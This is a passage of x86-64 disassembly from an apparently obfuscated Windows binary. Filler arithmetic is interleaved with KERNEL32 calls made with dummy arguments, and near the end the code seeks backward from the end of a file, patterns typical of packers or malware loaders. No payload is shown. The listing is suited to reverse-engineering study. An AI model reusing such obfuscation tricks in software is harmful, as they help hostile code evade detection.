mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d8]
add eax, ecx
mov byte [0x1402acb3a], al
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xcfa4], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov dword [rsp + 0xd484], eax
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [rsp + 0x19c10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcdfc], eax
lea rax, [rsp + 0xd208]
mov qword [rsp + 0x1a070], rax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8940], eax
mov rax, qword [rsp + 0x19ab0]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd238], eax
movsx eax, word [rsp + 0x3730]
mov rcx, qword [0x1402bf6a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1838], ax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x782], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf94], eax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
mov byte [rsp + 0x7f1], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
movzx ecx, word [0x1402ad724]
sub eax, ecx
mov word [0x1402ad75c], ax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa830]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd288], eax
movzx eax, word [rsp + 0x3184]
mov word [rsp + 0x3810], ax
movzx eax, byte [rsp + 0x7e9]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7c9], al
mov eax, dword [0x1402bf608]
mov ecx, dword [rsp + 0xd254]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8458], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8100]
shr eax, cl
mov dword [rsp + 0xd0dc], eax
mov eax, dword [rsp + 0xd1bc]
mov dword [rsp + 0xd488], eax
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd48c], eax
mov rax, qword [0x1402bf610]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcfb0]
shl eax, cl
mov rcx, qword [rsp + 0x19fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79f]
xor eax, ecx
mov byte [0x1402bf690], al
movzx eax, word [rsp + 0x2ad4]
movzx ecx, word [rsp + 0x35c0]
add eax, ecx
mov word [rsp + 0x3798], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [0x1402bf670]
mov eax, dword [rax]
mov dword [rsp + 0xd490], eax
mov eax, dword [rsp + 0x911c]
mov ecx, dword [rsp + 0xc330]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3fc], eax
lea rax, [rsp + 0x7b1]
mov qword [rsp + 0x1a078], rax
mov rax, qword [rsp + 0x19f90]
movsx eax, word [rax]
movsx ecx, word [0x1402ad678]
and eax, ecx
mov word [rsp + 0x371c], ax
movzx eax, word [rsp + 0x2964]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x364c], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26b], al
mov rax, qword [rsp + 0x19ac0]
mov ecx, dword [rsp + 0xd22c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xca14], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov dword [0x1402bf5d8], eax
lea rax, [rsp + 0xce14]
mov qword [rsp + 0x1a080], rax
mov eax, dword [rsp + 0x90c4]
mov ecx, dword [0x1402ad630]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov eax, dword [rsp + 0xc7cc]
mov ecx, dword [rsp + 0xd190]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1dc], eax
movzx eax, word [rsp + 0x37bc]
mov word [rsp + 0x3814], ax
movzx eax, byte [0x1402acb9e]
movzx ecx, byte [rsp + 0x78d]
add eax, ecx
mov byte [rsp + 0x7a4], al
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov dword [rsp + 0xd494], eax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd110]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcefc], eax
mov rax, qword [rsp + 0x19e78]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19d70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8c6c]
mov ecx, dword [rsp + 0xd3b8]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad680], eax
movzx eax, byte [rsp + 0x7a9]
mov byte [rsp + 0x7f2], al
movzx eax, word [rsp + 0x34c4]
movzx ecx, word [rsp + 0x35bc]
cdq
idiv ecx
mov rcx, qword [rsp + 0x19d68]
mov word [rcx], ax
lea rax, [rsp + 0x7ba]
mov qword [rsp + 0x1a088], rax
mov rax, qword [rsp + 0x19ca8]
movsx eax, word [rax]
mov rcx, qword [0x1402bf6a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3768], ax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ef0]
mov qword [rsp + 0x1a090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a090]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x8674], eax
mov eax, dword [rsp + 0x8128]
mov ecx, dword [rsp + 0xcde0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd150], eax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3670], ax
movzx eax, byte [rsp + 0x451]
mov byte [rsp + 0x7f3], al
lea rax, [rsp + 0xb6d4]
mov qword [0x1402bf5d0], rax
mov rax, qword [rsp + 0x19e08]
mov rcx, qword [rsp + 0x1a008]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd340], eax
lea rax, [rsp + 0xcf0c]
mov qword [rsp + 0x1a098], rax
mov eax, dword [rsp + 0xcec8]
mov ecx, dword [rsp + 0x9c14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xceac], eax
movzx eax, word [rsp + 0x36a4]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19870]
mov word [rcx], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov byte [rsp + 0x7f4], al
mov rax, qword [rsp + 0x19a48]
mov ecx, dword [rsp + 0xd26c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac7c], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0x8c6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f04], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xd474]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x199f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8908]
mov ecx, dword [rsp + 0xc658]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad740], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc9c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e4]
mov byte [rsp + 0x7f5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd424], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x365c]
movsx ecx, word [0x1402ad2f8]
sub eax, ecx
mov word [rsp + 0x36cc], ax
mov rax, qword [rsp + 0x19fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x7f6], al
mov rax, qword [rsp + 0x19ec0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3750]
sar eax, cl
mov word [rsp + 0x36f8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
mov rax, qword [rsp + 0x19f88]
mov ecx, dword [0x1402ad70c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcff4], eax
mov rax, qword [rsp + 0x1a098]
mov ecx, dword [rsp + 0xcf88]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb998], eax
movzx eax, byte [rsp + 0x798]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x19e48]
mov byte [rcx], al
movzx eax, word [rsp + 0x20c8]
movzx ecx, word [rsp + 0x3654]
and eax, ecx
mov word [0x1402ad760], ax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov dword [rsp + 0xd498], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd1c0], eax
mov rax, qword [rsp + 0x19c98]
mov ecx, dword [0x1402ad6cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd228], eax
mov rax, qword [rsp + 0x19d10]
mov eax, dword [rax]
mov dword [rsp + 0xd49c], eax
mov eax, dword [rsp + 0xd420]
mov ecx, dword [rsp + 0xc7e0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e50]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3670]
mov rcx, qword [0x1402bf668]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36f8], ax
lea rax, [rsp + 0x7c1]
mov qword [rsp + 0x1a0a0], rax
mov rax, qword [rsp + 0x19c10]
mov rcx, qword [rsp + 0x19bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd208], eax
mov rax, qword [rsp + 0x19df8]
mov rcx, qword [0x1402bf6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9460], eax
movsx eax, byte [rsp + 0x7cc]
movsx ecx, byte [rsp + 0x7ad]
sub eax, ecx
mov byte [0x1402bf78c], al
movsx eax, word [rsp + 0x3524]
mov rcx, qword [0x1402bf708]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3304], ax
movzx eax, byte [rsp + 0x5b9]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7d7], al
movzx eax, word [rsp + 0x2dd4]
mov word [rsp + 0x3818], ax
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0xd25c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac00], eax
mov eax, dword [rsp + 0xd454]
mov dword [rsp + 0xd4a0], eax
mov rax, qword [rsp + 0x1a098]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19f10]
mov qword [rsp + 0x1a0a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a0a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x909c], eax
mov eax, dword [rsp + 0xd244]
mov ecx, dword [rsp + 0xd358]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1dc], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd194]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xba70], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e9]
shl eax, cl
mov byte [rsp + 0x797], al
mov rax, qword [0x1402bf668]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c0]
imul eax, ecx
mov word [0x1402ad764], ax
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov dword [rsp + 0xd4a4], eax
mov rax, qword [rsp + 0x1a098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f04], eax
mov eax, dword [rsp + 0xcee4]
mov dword [rsp + 0xd4a8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcce0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd4ac], eax
mov rax, qword [rsp + 0x19ba0]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb8d8], eax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d1]
sub eax, ecx
mov byte [rsp + 0x7e0], al
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov word [rsp + 0x381c], ax
mov rax, qword [rsp + 0x19ff0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c5]
add eax, ecx
mov byte [rsp + 0x7b9], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f80]
sub eax, ecx
mov word [rsp + 0x2b7c], ax
mov eax, dword [rsp + 0xd43c]
mov ecx, dword [rsp + 0xce1c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf67c], eax
mov eax, dword [rsp + 0xd2fc]
mov ecx, dword [rsp + 0xd080]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcea4], eax
movzx eax, word [0x1402bf738]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x37f0], ax
movzx eax, byte [rsp + 0x7a4]
mov byte [rsp + 0x7f7], al
mov eax, dword [0x1402ad684]
mov ecx, dword [rsp + 0xce48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce68], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0xd4b0], eax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov eax, dword [rsp + 0xb4b0]
mov ecx, dword [rsp + 0x9e08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfa0], eax
lea rax, [rsp + 0x7c2]
mov qword [rsp + 0x1a0b0], rax
movzx eax, word [rsp + 0x20c8]
mov word [0x1402bf5c8], ax
mov eax, dword [rsp + 0xd3e8]
mov ecx, dword [rsp + 0xa234]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd44c], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad6fc]
shl eax, cl
mov dword [rsp + 0xae14], eax
mov rax, qword [rsp + 0x19d20]
mov rcx, qword [rsp + 0x19d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xce18], eax
mov rax, qword [rsp + 0x19d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd2c0]
sar eax, cl
mov dword [rsp + 0xd054], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd3f8], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
mov dword [rsp + 0xd4b4], eax
movsx eax, byte [rsp + 0x7cc]
movsx ecx, byte [rsp + 0x79e]
and eax, ecx
mov byte [rsp + 0x7d9], al
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x3820], ax
movzx eax, byte [0x1402bf6f0]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78c], al
movzx eax, word [rsp + 0x37a4]
movzx ecx, word [rsp + 0x3738]
add eax, ecx
mov word [0x1402ad640], ax
mov rax, qword [rsp + 0x19f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xceac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab6c], eax
mov rax, qword [rsp + 0x19ba0]
mov ecx, dword [rsp + 0xd0bc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19b08]
mov dword [rcx], eax
movzx eax, word [rsp + 0x17fc]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x364c], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov byte [rsp + 0x7f8], al
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd138]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdcc], eax
lea rax, [rsp + 0xd2bc]
mov qword [rsp + 0x1a0b8], rax
mov eax, dword [rsp + 0xb6a0]
mov ecx, dword [rsp + 0xd090]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1b0], eax
mov rax, qword [rsp + 0x19f20]
mov rcx, qword [rsp + 0x19c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa528], eax
movzx eax, word [rsp + 0x35fc]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402bf678], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd4b8], eax
lea rax, [rsp + 0x7f2]
mov qword [rsp + 0x1a0c0], rax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xadd0]
shr eax, cl
mov dword [rsp + 0xd184], eax
mov eax, dword [rsp + 0xd050]
mov dword [rsp + 0xd4bc], eax
mov rax, qword [rsp + 0x1a078]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a0]
or eax, ecx
mov byte [rsp + 0x17f], al
movsx eax, word [rsp + 0x35a4]
movsx ecx, word [rsp + 0x2d38]
xor eax, ecx
mov word [rsp + 0x3648], ax
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2a68], ax
mov rax, qword [rsp + 0x19d90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d1]
sub eax, ecx
mov byte [rsp + 0xe4], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov eax, dword [rsp + 0xce78]
mov dword [rsp + 0xd4c0], eax
movzx ecx, word [rsp + 0x3718]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x377c], ax
mov eax, dword [rsp + 0xd26c]
mov ecx, dword [0x1402ad694]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad768], eax
mov eax, dword [rsp + 0xd2e4]
mov ecx, dword [rsp + 0xce48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd384], eax
mov eax, dword [rsp + 0xd044]
mov dword [rsp + 0xd4c4], eax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0c0], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x364c]
add eax, ecx
mov rcx, qword [rsp + 0x19e10]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xceec], eax
movzx eax, byte [rsp + 0x7ce]
mov byte [rsp + 0x7f9], al
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf2c], eax
mov eax, dword [rsp + 0xcf40]
mov ecx, dword [rsp + 0xcfdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc9c8], eax
mov rax, qword [rsp + 0x19f10]
mov ecx, dword [rsp + 0xb7b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaf94], eax
lea rax, [rsp + 0xcd70]
mov qword [0x1402bf5c0], rax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d64], ax
movzx eax, byte [rsp + 0x797]
mov byte [rsp + 0x7fa], al
movsx eax, byte [rsp + 0x1d3]
movsx ecx, byte [rsp + 0x7d2]
and eax, ecx
mov byte [rsp + 0x7db], al
mov rax, qword [rsp + 0x19ec8]
movzx eax, word [rax]
mov word [rsp + 0x3824], ax
mov eax, dword [0x1402ad748]
mov rcx, qword [rsp + 0x19a90]
mov qword [rsp + 0x1a0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a0c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd36c], eax
mov rax, qword [rsp + 0x19bd8]
mov rcx, qword [rsp + 0x19740]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xb958], eax
movzx eax, byte [rsp + 0x7c0]
movzx ecx, byte [0x1402bf720]
shl eax, cl
mov byte [rsp + 0x22d], al
movzx eax, word [rsp + 0x36a4]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x35a8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19b28]
mov ecx, dword [rsp + 0xd3c4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf780], eax
mov eax, dword [0x1402bf620]
mov dword [rsp + 0xd4c8], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x1a050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19a60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd188]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc7e0], eax
movzx eax, byte [rsp + 0x7c9]
mov byte [rsp + 0x7fb], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x35fc], ax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x91f4], eax
mov rax, qword [rsp + 0x19e98]
mov ecx, dword [rsp + 0xd068]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd27c], eax
lea rax, [rsp + 0xcf70]
mov qword [rsp + 0x1a0d0], rax
mov rax, qword [rsp + 0x1a070]
mov ecx, dword [0x1402ad668]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf6e0], eax
mov rax, qword [rsp + 0x19c58]
mov rcx, qword [rsp + 0x19d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19c00]
mov dword [rcx], eax
movsx eax, word [rsp + 0x35b4]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19f90]
mov word [rcx], ax
mov rax, qword [0x1402bf5e0]
movzx eax, byte [rax]
mov byte [rsp + 0x7fc], al
movzx eax, word [rsp + 0x367c]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35e4], ax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
mov byte [rsp + 0x7fd], al
mov rax, qword [rsp + 0x19ea8]
mov rcx, qword [rsp + 0x19db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19f88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a008]
mov ecx, dword [rsp + 0x9f6c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x198a8]
mov dword [rcx], eax
lea rax, [rsp + 0x3688]
mov qword [rsp + 0x1a0d8], rax
movzx eax, byte [rsp + 0x7a7]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402acbbe], al
mov eax, dword [rsp + 0xd184]
movzx ecx, al
mov eax, dword [rsp + 0xd12c]
shr eax, cl
mov dword [rsp + 0xb2e4], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [rsp + 0xd19c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x87d4], eax
mov rax, qword [rsp + 0x19e08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa444], eax
mov rax, qword [rsp + 0x19e68]
mov rcx, qword [rsp + 0x19cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9058], eax
movzx eax, byte [0x1402acb47]
mov byte [rsp + 0x7fe], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36a0]
imul eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x19e08]
mov eax, dword [rax]
mov dword [rsp + 0xd4cc], eax
mov eax, dword [rsp + 0x8cc0]
mov ecx, dword [rsp + 0x9ccc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb44], eax
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b7c]
sub eax, ecx
mov word [0x1402ad63c], ax
lea rdx, [rsp + 0x2bfd0]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd06c], eax
lea rdx, [rsp + 0xd040]
mov rcx, qword [rsp + 0x19fc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd4d0], eax
movsx eax, byte [rsp + 0x7a0]
movsx ecx, byte [rsp + 0x7d2]
and eax, ecx
mov byte [rsp + 0x791], al
mov rax, qword [rsp + 0x19f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19fa0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b4], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xd872
mov rcx, qword [rsp + 0x19fc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcce0], eax
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37bc]
add eax, ecx
mov word [rsp + 0x36b8], ax
mov eax, dword [rsp + 0x8544]
mov dword [rsp + 0xd4d4], eax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0x9a40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd25c], eax
mov rax, qword [rsp + 0x19e08]
mov eax, dword [rax]
mov dword [rsp + 0xd4d8], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [0x1402ad634]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd300], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xced0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd3c8], eax
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov word [rsp + 0x3828], ax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402acbbf], al
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd43c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1f0], eax
mov eax, dword [rsp + 0xd358]
movzx ecx, al
mov eax, dword [rsp + 0x91bc]
shl eax, cl
mov dword [rsp + 0xad64], eax
mov rax, qword [0x1402bf648]
mov ecx, dword [rsp + 0x8940]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd244], eax
mov rax, qword [rsp + 0x19ed0]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19ac0]
